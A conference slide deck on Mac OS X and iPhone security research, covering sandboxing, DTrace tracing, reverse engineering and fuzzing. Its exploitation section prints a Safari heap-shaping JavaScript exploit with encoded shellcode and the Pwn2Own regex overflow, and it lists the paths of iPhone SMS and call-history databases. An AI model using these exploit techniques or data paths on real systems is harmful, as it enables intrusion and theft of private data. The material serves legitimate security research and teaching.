Owning the Fanboys: Hacking Mac OS X

Charlie Miller
Principal Analyst
Independent Security Evaluators
cmiller@securityevaluators.com
Who am I?

- Former National Security Agency (USA)
- First to hack the iPhone
- Won MacBook Air at Pwn2Own competition with Safari 0-day
- Author of “Fuzzing for Software Security Testing and Quality Assurance”
- Writing “The Mac Hackers Handbook”
- Due out in January
Outline

- Leopard security
- Tracing execution
- Reverse engineering
- Bug hunting on Macs
- Exploits
- Introduction to iPhone
Leopard security

- The good: application sandboxing
- The bad: Leopard firewall
- The ugly: library randomization
Sandboxing

- Done via Seatbelt kext
- Can use default profiles
  - `nointernet`, `nonet`, `nowrite`, `write-tmp-only`, and `pure-computation`
- Or custom written profiles
- See `/usr/share/sandbox` for examples
Sandboxing demo

- sandbox-exec -n nonet /bin/bash
- sandbox-exec -n nowrite /bin/bash
More sandboxing

- Some applications are sandboxed by default:
  - krb5kdc
  - mDNSResponder  <-- very good :) 
  - mdworker
  - ntpd
  - ...
- Safari, Mail, QuickTime Player are NOT sandboxed
quicklookd.sb

(version 1)
(allow default)
(deny network-outbound)
(allow network-outbound (to unix-socket))
(deny network*)
(debug deny)

- Doesn’t allow network connections
- Imagine malicious file takes over quicklookd - Can’t phone home/open ports
- Circumventable:
  - Write a shell script/program to disk
  - Ask launchd (not in sandbox) to execute it via launchctl
Leopard firewall

- Disabled by default
- Doesn’t block outbound connections
  - No harder to write connect shellcode versus bind shellcode
- Hard to imagine a scenario where this prevents a remote attack
Library randomization

- Most library load locations are randomized (per update)
- See /var/db/dyld/dyld_shared_cache_1386.map
- dyld itself is NOT randomized
- Location of heap, stack, and executable image NOT randomized
One final note on Leopard “Security”

- The heap is executable - even if you explicitly try to make it not executable

- Demo:

```c
char shellcode[] = "\xeb\xfe";

int main(int argc, char *argv[]){
    void (*f)();
    char *x = malloc(2);
    unsigned int page_start = ((unsigned int) x) & 0xffffffff000;
    int ret = mprotect((void *) page_start, 4096, PROT_READ|PROT_WRITE);
    if(ret<0){ perror("mprotect failed"); } 
    memcpy(x, shellcode, sizeof(shellcode));
    f = (void (*)()) x;
    f();
}
```
Tracing with DTrace

- Originally developed by Sun for Solaris
- Very little overhead when used
- Operating system (and some apps) have DTrace probes placed within them
- DTrace may run user supplied code when each probe is executed
- This code is written in “D”, a subset of C
Truss

```c
syscall:::entry
/execname == "ls"/
{
}
```

- `sudo dtrace -s truss.d`
- At every system call entry point where program name is “ls”, run the probe
- Can also use ‘pid’ or pass the pid (or program name) as an argument ($1)
syscall::open:entry
/pid == $1 /
{
    printf("%s(%s)", probefunc, copyinstr(arg0));
}

syscall::open:return
/pid == $1 /
{
    printf("\t\t = %d\n", arg1);
}

syscall::close:entry
/pid == $1/
{
    printf("%s(%d)\n", probefunc, arg0);
}
Memory Tracer

```c
pid$target::malloc:entry,
pid$target::valloc:entry
{
    allocation = arg0;
}

pid$target::realloc:entry
{
    allocation = arg1;
}

pid$target::calloc:entry
{
    allocation = arg0 * arg1;
}

pid$target::calloc:return,
pid$target::malloc:return,
pid$target::valloc:return,
pid$target::realloc:return
/allocation > 300 && allocation < 9000/
{
    printf("m: 0x%x (0x%x)\n", arg1, allocation);
    mallocs[arg1] = allocation;
}

pid$target::free:entry
/mallocs[arg0]/
{
    printf("f: 0x%x (0x%x)\n", arg0, mallocs[arg0]);
    mallocs[arg0] = 0;
}
```
Code coverage

Functions from JavaScriptCore

```c
pid$target:JavaScriptCore::entry
{printf("08%x:%s\n", uregs[R_EIP], probefunc); }
```

Instructions from jsRegExpCompile()

```c
pid$target:JavaScriptCore:jsRegExpCompile*:
{printf("08%x\n", uregs[R_EIP]); }
```

Code coverage from jsRegExCompile

```c
pid$target:JavaScriptCore:jsRegExpCompile*:
{@code_coverage[uregs[R_EIP]] = count();}
```

END
```c
{printa("0x%x : %@d\n", @code_coverage);}```
iTunes hates you

(gdb) attach 7551
Attaching to process 7551.
Segmentation fault

$ sudo dtrace -s filemon.d 7551
Password:
dtrace: script 'filemon.d' matched 3 probes
dtrace: error on enabled probe ID 3 (ID 17604: syscall::close::entry):
invalid user access in predicate at DIF offset 0
dtrace: error on enabled probe ID 3 (ID 17604: syscall::close::entry):
invalid user access in predicate at DIF offset 0
dtrace: error on enabled probe ID 3 (ID 17604: syscall::close::entry):
invalid user access in predicate at DIF offset 0
...

Don’t look inside

- iTunes issues the ptrace PT_DENY_ATTACH request when it starts
- man ptrace(2):

PT_DENY_ATTACH

This request is the other operation used by the traced process; it allows a process that is not currently being traced to deny future traces by its parent. All other arguments are ignored. If the process is currently being traced, it will exit with the exit status of ENOTSUP; otherwise, it sets a flag that denies future traces. An attempt by the parent to trace a process which has set this flag will result in a segmentation violation in the parent.
Inside iTunes

- In gdb \((0x1f = \text{PT\_DENY\_ATTACH})\):

  ```
  break ptrace
  condition 1 *((unsigned int *) ($esp + 4)) == 0x1f
  commands 1
  return
  c
  end
  ```

- Can do with a kernel extension as well

- Demo
Reverse engineering

- IDAPro mostly works out of the box on Mach-O files
- EIP-relative data addressing confuses it
Jump tables

- EIP relative data addressing also messes up disassembly of jump tables
Jump tables (cont)

- Hotchkies and Portnoy developed a fix

```python
def rebuild_jump_table(fn_base, jmp_table_offset, address=None):
    jmp_table = jmp_table_offset + fn_base
    print "Jump table starts at \%x" % jmp_table
    if not address:
        address = ScreenEA()

    counter = 0;
    entry = Dword(jmp_table + 4*counter) + fn_base

    while NextFunction(address) == NextFunction(entry):
        counter += 1
        AddCodeXref(address, entry, fl_JN)
        entry = Dword(jmp_table + 4*counter) + fn_base

    print "0x%08x: end jump table" % (jmp_table + 4*counter)
```
Result of script
Reversing Obj-C

- Objective-C is a superset of C
- Many Mac OS X applications are written in Obj-C
- Class methods not called directly, rather, sent a “message”
  - allows for dynamic binding
Typical disassembly of Obj-C

```assembly
mov    edx, eax
lea    eax, [ebx+12h0h]
mov    eax, [eax]
mov    [esp+28h+var_24], eax
mov    [esp+28h+var_28], edx
call   _objc_msgSend
mov    [ebp+var_8], eax
mov    esi, [ebp+var_10]
mov    eax, [ebp+arg_4]
add    eax, 4
mov    eax, [eax]
mov    [esp+28h+var_28], eax
call   _atoi
mov    edx, eax
lea    eax, [ebx+1245h]
mov    eax, [eax]
mov    [esp+28h+var_28], edx
mov    [esp+28h+var_24], eax
mov    [esp+28h+var_28], esi
call   _objc_msgSend
mov    esi, [ebp+var_6]
mov    eax, [ebp+arg_4]
add    eax, 8
mov    eax, [eax]
mov    [esp+28h+var_28], eax
call   _atoui
mov    edx, eax
lea    eax, [ebx+1245h]
mov    eax, [eax]
mov    [esp+28h+var_20], edx
mov    [esp+28h+var_24], eax
mov    [esp+28h+var_28], esi
call   _objc_msgSend
mov    ecx, [ebp+var_10]
lea    eax, [ebx+1241h]
mov    edx, [eax]
mov    [esp+28h+var_1c], 2
mov    eax, [ebp+var_6]
mov    [esp+28h+var_20], eax
mov    [esp+28h+var_24], edx
mov    [esp+28h+var_28], ecx
call   _objc_msgSend
mov    edx, [ebp+var_10]
lea    eax, [ebx+123Dh]
mov    eax, [eax]
```
More bad news

- We don’t know what functions are being called
- We also lose all cross references
objc_msgSend

- Typically the first argument to objc_msgSend is the name of the class
- The second argument is the name of the method
Fix it up

- Emulate functions using ida-x86emu by Chris Eagle
- When calls to obj_msgSend are made, record arguments
- Print name of actual function and add cross references
The code

```c
get_func_name(cpu.eip + disp, buf, sizeof(buf));
if(!strcmp(buf, "objc_msgSend")){
    // Get name from ascii components
    unsigned int func_name = readMem(esp + 4, SIZE_DWORD);
    unsigned int class_name = readMem(esp, SIZE_DWORD);
    get_ascii_contents(func_name, get_max_ascii_length(func_name, ASCSTR_C, false), ASCSTR_C, buf, sizeof(buf));
    if(class_name == -1)(
        strcpy(bufclass, "Unknown");
    } else {
        get_ascii_contents(class_name, get_max_ascii_length(class_name, ASCSTR_C, false), ASCSTR_C, bufclass, sizeof(bufclass));
    }
    strcpy(buf2, "[");
    strcat(buf2, bufclass);
    strcat(buf2, ":");
    strcat(buf2, buf);
    strcat(buf2, "]");
xrefblk t xb;
bool using_ida_name = false;
// Try to get IDA name by doing xref analysis. Can set xrefs too.
for ( bool ok=xb.first_to(func_name, XREF_ALL); ok; ok=xb.next_to() )
{
    char buffer[64];
    get_segm_name(xb.from, buffer, sizeof(buffer));
    if(!strcmp(buffer, "__inst_meth") || !strcmp(buffer, "__cat_inst_meth")){
        // now see where this guy points
        xrefblk t xb2;
        for ( bool ok=xb2.first_from(xb.from, XREF_ALL); ok; ok=xb2.next_from() )
        {
            get_segm_name(xb2.to, buffer, sizeof(buffer));
            if(!strcmp(buffer, "text")){
                using_ida_name = true;
                get_func_name(xb2.to, buf2, sizeof(buf2));
                add cref(cpu.eip - 5, xb2.to, fl_CN);
                add cref(xb2.to, cpu.eip - 5, fl_CN);
            }
        }
    }
}
if(!using_ida_name){
    set_cmt(cpu.eip-5, buf2, true);
}
eax = class_name;
```
More results: xrefs!

```plaintext
; SUBROUTINE

 attributeName ; Attributes: bp-based frame

_integer_set_integer_ proc near

CODE XREF:
_main:loc_1E2Ef
_main:loc_1E5Bfp
__Integer_Add_Mult_add_mult_with_multiplier__:loc_1F5Ep
DATA XREF:
_inst METH:000030E8\o

arg_0 = dword ptr 8
arg_8 = dword ptr 10h

push ebp
mov ebp, esp
sub esp, 8
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_8]
mov [edx+4], eax
leave
retn

__Integer_set_integer__ endp
```

Bug Hunting on Macs

- Mostly the same as other platforms
- Some source code (Webkit, kernel code, etc)
- Mostly just binaries
Changelog snooping

- Apple forks projects and doesn’t keep them up to date
- PCRE (perl compatible regular expressions) are part of Webkit which is part of Safari
- The bug I used against the iPhone was already fixed in the standard PCRE (along with one other one)
  - Fixed one year earlier in PCRE 6.7
- The Pwn2Own bug was fixed in the same version!
- However, 2 of the 3 bugs mentioned above were found without the changelog
Pwn2Own bug

11. Subpatterns that are repeated with specific counts have to be replicated in the compiled pattern. The size of memory for this was computed from the length of the subpattern and the repeat count. The latter is limited to 65535, but there was no limit on the former, meaning that integer overflow could in principle occur. The compiled length of a repeated subpattern is now limited to 30,000 bytes in order to prevent this.

- Fixed, July 2006 by PCRE
- Used at CanSecWest in March 2008
Apple’s pre-release vulnerabilities

- iPhone bug
  - Submitted to Apple July 17, 2007
  - July 18, 2007 (WebKit site)
    
    
    fix <rdar://problem/5345432> PCRE computes length wrong
    for expressions such as "[**]"
  - July 23, 2007 Publicly reported iPhone hacked
  - July 31, 2007 Patched
More pre-release fun

- Pwn2Own bug
- Contest on March 27, 2008
- March 28, 2008 WebKit site:

  Regular expressions with large nested repetition counts can have their compiled length calculated incorrectly.

  pcre/pcre_compile.cpp:
  (multiplyWithOverflowCheck):
  (calculateCompiledPatternLength): Check for overflow when dealing with nested repetition counts and bail with an error rather than returning incorrect results.

- Patched 3 weeks later
Server Side

- mDNSResponder (sandboxed)
- ntpd (sandboxed)
- CUPS (only on UDP)
- Network and wireless kernel code
- Non-default services: printing, file sharing, vnc, etc
- It's going to be pretty tough
Client side

- HUGE attack surface
- Safari, Mail, QuickTime, iTunes, etc.
- Safari is the mother of all client programs: can launch or embed a number of other application’s functionality
Safari

- Native support
  - `/Applications/Safari.app/Contents/Info.plist` (.pdf, .html, etc)

- Plug-ins
  - `/Applications/Safari.app/Contents/Resources/English.lproj/Plug-ins.html` (.swf, .ac3, .jp2)

- URL handlers
  - `lsregister -dump` (LaunchServices)
  - Launch other programs (vnc, smb, daap, rtsp...)
Fuzzing

- Pick a protocol/file format
- Get an example exchange/file
- Inject anomalies into the exemplar
- Have target application process fuzzed test cases
- Too random and it will be quickly rejected as invalid, not enough anomalies and it won’t find anything
- This approach is called dumb fuzzing because it is ignorant of the protocol
ReportCrash aka CrashReporter

- launchd starts ReportCrash whenever a process crashes
- Records to ~/Library/Logs/CrashReporter
- Only keeps last 20 crashes
Demo

1. Start from valid .jp2 (JPEG 2000) file
2. Change 1-16 bytes from file to a random value
3. Launch in QuickTime Player
4. Goto step 2
5. Watch CrashReporter logs
Monitoring script

#!/bin/bash
X=0;
`rm -f ~/Library/Logs/CrashReporter/QuickTime*`
for i in `cat list`;
  do
    echo $i;
    /Applications/QuickTime\ Player.app/Contents/MacOS/QuickTime\ Player $i &
    sleep 5;
    X=`ls ~/Library/Logs/CrashReporter/QuickTime* | wc | awk '{print $1}'`

    if [ 0 -lt $X ]
    then
      echo "Crash: $i";
      mv ~/Library/Logs/CrashReporter/QuickTime* /tmp/
    fi
  done
killall -9 QuickTime\ Player;
Exploiting Macs

- Different heap allocator than Windows or Linux
- Executable heap
- Stack police (canaries)
- Similar to exploiting other OS’s a couple of years ago
Exploiting Safari

- Massaging the heap
- Getting control
Heap feng shei

- Conceived by Sotirov for Windows
- The heap is very unpredictable
  - Affected by number and types of pages visited
  - Number of windows/tabs open
  - Javascript running
  - etc
- However, attacker can run arbitrary Javascript
Heap spray

- This unpredictability was first tackled by filling the heap with data and hoping for the best (Skylined)
  - ex. huge NOP sled
- Drawbacks
  - Can’t completely fill heap
  - Doesn’t help get control
  - May overwhelm system resources
Taming the heap

- Heap is complex and fragmented but is deterministic
- Typically, a new allocation will end up in the first available sufficiently large spot
The plan

- Occurs in three steps
  - Defragment, i.e. fill in the holes
  - Create adjacent allocations
  - Free up friendly holes
Defragmenting the heap

- Request a large number of allocations of the desired side (could be with an image, HTML tags, JS)
- These will fill in any existing holes
Create adjacent allocations

- Keep requesting allocations of this size
- Eventually, they will be adjacent to one another
- We don’t know where they are, just that they are adjacent - but that’s enough
Create holes

- Free every other buffer near the end of the allocations you made
- The next allocations of this size will fall in one of these newly created holes
- We will control the buffer after each of these allocations
Safari JavaScript code is in WebKit

We need a way to make memory allocations, i.e. malloc()

We need a way to free them, i.e. free()
Allocation

ArrayInstance::ArrayInstance(JSObject* prototype, unsigned initialLength)
  : JSObject(prototype)
{
  unsigned initialCapacity = min(initialLength, sparseArrayCutoff);
  m_length = initialLength;
  m_vectorLength = initialCapacity;
  m_storage = static_cast<ArrayStorage*>(fastZeroedMalloc(storageSize(initialCapacity)));
  Collector::reportExtraMemoryCost(initialCapacity * sizeof(JSValue*));
}
Therefore...

- In JavaScript
  - `var name = new Array(1000);`

- In Safari
  - `malloc(4008);`

- Warning: due to garbage collection, need to have references to “name” or it will get free’d.
Free’ing is harder

- delete() in JavaScript tells the garbage collector to free the buffer at its convenience
- The following JS code will force garbage collection

```javascript
for(i=0; i<4100; i++){
  a = .5;
}
```

- Basically, this code fills up the “number” heap with allocations which forces collection, see WebKit source
Heap overflows

- Some protections on overflowing heap metadata (old unlink trick)
- Overflowing application data is usually easier
- Using heap control, we arrange it such that overflowing buffer is right before a buffer we control
- We can put application specific data in this buffer
The data

```javascript
var name = new Array(1000);
name[0] = new Number(12345);
```

Becomes in memory:

```
(gdb) x/16x 0x17169000
0x17169000: 0x00000000 0x16245c20 0x00000000
0x17169010: 0x00000000 0x00000000 0x00000000 0x00000000
0x17169020: 0x00000000 0x00000000 0x00000000 0x00000000
0x17169030: 0x00000000 0x00000000 0x00000000 0x00000000
```

`m_numValuesInVector = 1`
`m_sparceValueMap = 0`
pointer to Number object
var name = new Array(1000);
name[0] = new Number(12345);
// Overflow into "name" buffer here
document.write(name[0] + "<br />");
function build_string(x)
{
    var s = new String("\u0278\u5278");
    var size = 4;
    while(size < x){
        s = s.concat(s);
        size = size * 2;
    }
    return s;
}

var shellcode = "\u9090\u9090\u9090\u9090\uc929\ue983\ud9ea\ud9ee
\u2474\5bf4\7381\udf13\7232\8346\ufceb\uf4e2\70b5\8b2a\585f
\ule13\6046\561a\23dd\uf2e\603e\1430\609d\5618\ub212\ud5eb\618e
\u2c20\6ab7\uc6bf\586f\uc6bf\618d\uf620\uffc1\ud1f2\30b5\u2c2b
\u6a85\1123\uffe8e
\u0ff2\ubbd0\983\ucd20\2e22\1df0\2e01\1db7\2f10\ubbb1\1691\668b
\1521\096f\uc6bf";

var st = build_string(0x10000000);
document.write(st.length + "<br />");
st = st.concat(st, shellcode);
try{
    for(i=0; i<1000; i++){
        bigdummy[i] = new Array(size);
    }

    for(i=900; i<1000; i+=2){
        delete(bigdummy[i]);
    }

    var naptime = 5000;
    var sleeping = true;
    var now = new Date();
    var alarm;
    var startingMSeconds = now.getTime();
    while(sleeping){
        alarm = new Date();
        alarmMSeconds = alarm.getTime();
        if(alarmMSeconds - startingMSeconds > naptime){ sleeping = false; }
    }

    for(i=901; i<1000; i+=2){
        bigdummy[i][0] = new Number(i);
    }
}
Pwn2Own - overflow

```javascript
var re = new RegExp("............................................................
((\[ab\])\{39\})\{2\}((ab))\{15\}............................................................
............................................................
............................................................
............................................................
............................................................
............................................................
............................................................
.............................................[\x01\x59\x5c\x5e])...................((\[ab\])\{65535\})\{1680\}((\[ab\])\{39\})\{722\}((\[ab\])\{27\})

var m = re.exec("AAAAAAAAAAA-\udfbeBBB"");
if (m) print(m.index);
} catch(err) {
  re = "hi";
}
```
Heap defragmentation

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$1 = 0x16278c78

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$2 = 0x50d000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$3 = 0x510000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$4 = 0x16155000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$5 = 0x1647b000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$6 = 0x1650f000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$7 = 0x5ac000
A thing of beauty

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$997 = 0x17164000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$998 = 0x17165000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$999 = 0x17166000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$1000 = 0x17167000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$1001 = 0x17168000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$1002 = 0x17169000
Right in the hole!

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$1001 = 0x17168000

Breakpoint 3, 0x95850389 in KJS::ArrayInstance::ArrayInstance ()
array buffer at$1002 = 0x17169000

Breakpoint 2, 0x95846748 in jsRegExpCompile ()
regex buffer at$1004 = 0x17168000
for(i=901; i<1000; i+=2){
    document.write(bigdummy[i][0] + "<br />");
}

for(i=0; i<900; i++){
    bigdummy[i][0] = 1;
}
iPhone

- Apple’s phone
- Runs a stripped down version of Mac OS X
- ARM processor
- 128 MB DRAM
- 4, 8, 16 GB flash memory
- Carrier locked
iPhone hell

- Locked to carrier
- No writable and executable partition on device
- No useful utilities (like, say, bash, ls, etc)
- Only applications signed by Apple will run
Unlocking from carrier

- **3G**
  - Requires hardware such as SIMable, Tornado SIM

- **2G**
  - Hardware or software unlocks

- **Warning:** Information may change based on version of iPhone and QuickPwn...
Jailbreaking

- QuickPwn for 2.1 firmware
- Reworks the partitions

```
iPhone:~ root# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/disk0s1 500M 445M 51M 90% /
devfs 26K 26K 0 100% /dev
/dev/disk0s2 7.1G 745M 6.4G 11% /private/var
```

- Installs “Installer” and “Cydia”
- Can install sshd, gcc, gdb, python, etc
- Disables most code signing
## Processes

```bash
# ps aux

<table>
<thead>
<tr>
<th>USER</th>
<th>PID</th>
<th>%CPU</th>
<th>%MEM</th>
<th>VSZ</th>
<th>RSS</th>
<th>TT</th>
<th>STAT</th>
<th>STARTED</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>1</td>
<td>0.0</td>
<td>0.4</td>
<td>272956</td>
<td>440</td>
<td>??</td>
<td>Ss</td>
<td>9:40AM</td>
<td>0:00.42</td>
<td>/sbin/launchd</td>
</tr>
<tr>
<td>mobile</td>
<td>12</td>
<td>0.0</td>
<td>1.3</td>
<td>286124</td>
<td>1592</td>
<td>??</td>
<td>Ss</td>
<td>9:40AM</td>
<td>0:00.25</td>
<td>/usr/sbin/BTServer</td>
</tr>
<tr>
<td>root</td>
<td>20</td>
<td>0.0</td>
<td>0.7</td>
<td>273732</td>
<td>836</td>
<td>??</td>
<td>Ss</td>
<td>9:40AM</td>
<td>0:00.28</td>
<td>/usr/sbin/mDNSResponder - launchd</td>
</tr>
<tr>
<td>root</td>
<td>13</td>
<td>0.0</td>
<td>1.1</td>
<td>277936</td>
<td>1332</td>
<td>??</td>
<td>Ss</td>
<td>9:40AM</td>
<td>0:01.28</td>
<td>/System/Library/Frameworks/CoreTelephony.framework/Support/CommCenter</td>
</tr>
<tr>
<td>mobile</td>
<td>15</td>
<td>0.0</td>
<td>20.7</td>
<td>320076</td>
<td>24596</td>
<td>??</td>
<td>Ss</td>
<td>9:40AM</td>
<td>0:24.53</td>
<td>/System/Library/CoreServices/SpringBoard.app/SpringBoard</td>
</tr>
<tr>
<td>mobile</td>
<td>75</td>
<td>0.0</td>
<td>5.3</td>
<td>312336</td>
<td>6264</td>
<td>??</td>
<td>S</td>
<td>9:53AM</td>
<td>0:08.75</td>
<td>/Applications/MobileSafari.app/MobileSafari --launchedFromSB</td>
</tr>
<tr>
<td>mobile</td>
<td>76</td>
<td>0.0</td>
<td>2.3</td>
<td>308336</td>
<td>2712</td>
<td>??</td>
<td>S</td>
<td>9:53AM</td>
<td>0:00.78</td>
<td>/Applications/MobileMusicPlayer.app/MobileMusicPlayer --launchedFromSB</td>
</tr>
</tbody>
</table>
```
# File System

Not surprisingly, looks like a Mac OS X system
Interesting files

- /private/var/mobile/Library/SMS/sms.db/private/var/mobile/Library/CallHistory/call_history.db
- /private/var/mobile/Library/Notes/notes.db
- /private/var/mobile/Library/Voicemail/voicemail.db
- /private/var/mobile/Library/AddressBook/AddressBook.sqlitedb
- /private/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb
- /private/var/mobile/Library/Calendar/Calendar.sqlitedb
sql3ite

iPhone:~ root# sqlite3 /private/var/mobile/Library/SMS/sms.db .dump
BEGIN TRANSACTION;
CREATE TABLE _SqliteDatabaseProperties (key TEXT, value TEXT, UNIQUE(key));
INSERT INTO "_SqliteDatabaseProperties" VALUES('_ClientVersion','7');
INSERT INTO "_SqliteDatabaseProperties" VALUES('_UniqueIdentifier','DD1AAE95-AD0D-4927-9FCB-085D977261E8');
INSERT INTO "_SqliteDatabaseProperties" VALUES('counter_in_all','48');
INSERT INTO "_SqliteDatabaseProperties" VALUES('counter_in_lifetime','48');
INSERT INTO "_SqliteDatabaseProperties" VALUES('counter_out_all','67');
INSERT INTO "_SqliteDatabaseProperties" VALUES('counter_out_lifetime','67');
INSERT INTO "_SqliteDatabaseProperties" VALUES('__CPRecordSequenceNumber','612');
CREATE TABLE message (ROWID INTEGER PRIMARY KEY AUTOINCREMENT, address TEXT, date INTEGER, text TEXT, flags INTEGER, replace INTEGER, svc_center TEXT, group_id INTEGER, association_id INTEGER, height INTEGER, UIFlags INTEGER, version INTEGER);
INSERT INTO "message" VALUES(1,'636399XXXX',1204652484,'Yes, its snowing lots here. Its going to be hard for you to get home',3,0,NULL,1,1204652484,75,0,0);
INSERT INTO "message" VALUES(2,'1636399XXXX',1204847456,'Stuck in traffic sorry u have to deal with the kids by yourself',2,0,NULL,1,0,56,0,0);
Exploits then...

- When iPhone was released, we had:
  - CrashReporter reports when phone was plugged into iTunes
  - Access to iPhone filesystem when phone was off
  - Cross compiler for generic ARM that sorta worked
  - IDA Pro that sucked
- Required lots of patience and trial and error
Exploits now

- ssh access
- decent gdb
- gcc
  - Although need to sign (with any key) or similar hack
- happy IDA pro
- Everything you could want!
Smaller attack surface

- Mostly like Mac OS X
- Some files work on Safari but not on MobileSafari
  - SVG
- Some files work on MobileSafari but not Safari
  - MS Word
- Also get SMS messages and other phone stuff
- Despite what Apple says, most non-QuickTime Safari based vulnerabilities will be on iPhone
Exploit problems

- Resource limitations
- Bandwidth (especially over EDGE)
- Payload
  - no /bin/sh!
Port of RegEx exploit

- NOOP sled and shellcode changed, duh
- Size of sled reduced from 0x10000000 to 0x1000000
  - Less reliable
- Number of feng shei buffers reduced from 1000 to 100
  - Less reliable
- “Sleep” reduced from 5 to 2 seconds
More exploit differences

- Regular expression had to be changed
- JavaScript code slightly different in memory (older version)

```
30b71c64> dd 00922400
00922400 | 00265848 00000000 00000000 00000000
00922410 | 00000000 00000000 00000000 00000000
00922420 | 00000000 00000000 00000000 00000000
00922430 | 00000000 00000000 00000000 00000000

30b71c64> dd 00265848
00265848 | 38b7f724 fffffff91 00000000 00000000
00265858 | 00000000 00000000 00000000 00264498
00265868 | 4463c001 00000000 00000000 00000000
00265878 | 00000000 00000000 38b80ec4 fffffff91
```
Feng shei iPhone style

- (Output from iphonedbg by Nicolas Economou)
Payloads

- Some payloads available at Metasploit
- May or may not rely on jailbroken iPhone
- For non-jailbroken case, can still do “anything”, but need to bring along all functionality
- Typically have access of user “mobile”
- Which can do everything you would want except “jailbreak” on the fly
Questions?

- Contact me at cmiller@securityevaluators.com